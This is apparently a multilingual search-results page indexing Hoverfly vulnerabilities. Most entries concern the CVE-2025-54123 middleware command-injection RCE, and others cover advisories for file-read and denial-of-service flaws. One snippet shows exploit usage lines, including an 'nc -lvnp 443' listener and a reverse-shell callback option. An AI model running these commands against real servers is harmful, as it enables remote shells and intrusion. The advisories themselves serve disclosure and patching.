155 matches found
CVE-2025-54123
CVE-2025-54123 Hoverfly CVE RCE Utilizzo Esecuzione comandi: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse Shell: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP...
Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit
CVE-2025-54123 — Remote-Code-Ausführung über Hoverfly Middleware API Authentifizierte RCE durch OS-Befehlseinschleusung in Hoverfly ≤ 1.11.3 Schwachstellenübersicht...
CVE-2025-54123
CVE-2025-54123 - Iniezione di comandi Hoverfly RCE PoC CVE-2025-54123 - Iniezione di comandi Middleware in Hoverfly 📌 Dettagli CVE ID : CVE-2025-54123 Tipo : Iniezione di comandi / Esecuzione remota di codice RCE Vendor : Hoverfly Impatto : Consente a utenti autenticati di eseguire comandi...
CVE-2025-54123
CVE-2025-54123 Visão Geral Execução Remota de Código Autenticada no endpoint da API de middleware do HoverFly devido a validação de entrada insuficiente e execução insegura de comandos. Fluxo de Ataque 1. Autenticação O atacante autentica-se no HoverFly usando credenciais válidas ou token de sess...
hoverfly
Simulazioni API per sviluppo e test Hoverfly è uno strumento di simulazione API open source leggero. Usando Hoverfly, puoi creare simulazioni realistiche delle API da cui dipende la tua applicazione. Sostituisci dipendenze API lente e instabili con simulazioni realistiche e riutilizzabili Simula...
CVE-2025-54123-Poc
CVE-2025-54123 Exploit Hoverfly - Iniezione di comandi nel middleware autenticato RCE | CVSS 9.8 CRITICO Vulnerabilità Hoverfly = 1.11.3 è vulnerabile a un'iniezione di comandi autenticata attraverso l'endpoint /api/v2/hoverfly/middleware. Sono richieste credenziali di amministratore, ma una volt...
Hoverfly < 1.10.3 - Arbitrary File Read
Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary...
CVE-2025-54123
CVE-2025-54123 Prova de Conceito de Injeção de Comando para RCE no Hoverfly Visão Geral Este repositório contém um script de prova de conceito PoC em Python para interagir com instâncias do Hoverfly afetadas pela CVE-2025-54123. O script suporta: Autenticação usando credenciais de nome de...
GO-2026-5977 Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly
Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly...
GO-2026-5975 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly
Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly...
Uncontrolled Resource Consumption
github.com/spectolabs/hoverfly is vulnerable to Uncontrolled Resource Consumption Denial of Service. The vulnerability is due to the use of http.DefaultClient without a configured timeout for remote post-serve actions, which allows an attacker to trigger requests to a non-responsive endpoint,...
Concurrent Execution Using Shared Resource
github.com/spectolabs/hoverfly is vulnerable to Concurrent Execution using Shared Resource. The vulnerability is due to the AddDiff function writing to the shared responsesDiff map without proper synchronization when running in Diff mode, which allows an attacker to send multiple simultaneous...
CVE-2026-50013
creationtimestamp| type| source ---|---|--- 2026-07-14 20:35:13+00:00| published-proof-of-concept| https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-qrh4-p6v4-mrfg...
CVE-2026-50018
creationtimestamp| type| source ---|---|--- 2026-07-14 20:35:11+00:00| published-proof-of-concept| https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7...
GHSA-QRH4-P6V4-MRFG Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode
Summary: When Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy, the concurrent map writes trigger Go's built-in race detector...
Missing Synchronization
Overview Affected versions of this package are vulnerable to Missing Synchronization in the AddDiff function when running in Diff mode, which writes to the shared responsesDiff map without synchronization. An attacker can cause the process to crash and become unavailable by sending multiple...
Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode
Summary: When Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy, the concurrent map writes trigger Go's built-in race detector...
Exploit for Improper Input Validation in Hoverfly
CVE-2025-54123 — Hoverfly Middleware API Remote Code Execution...
📄 Hoverfly 1.11.3 Remote Command Execution
This Python script is an exploitation tool targeting a vulnerable Hoverfly API endpoint, specifically the /api/v2/hoverfly/middleware functionality, which allows execution of user-supplied input through a backend binary...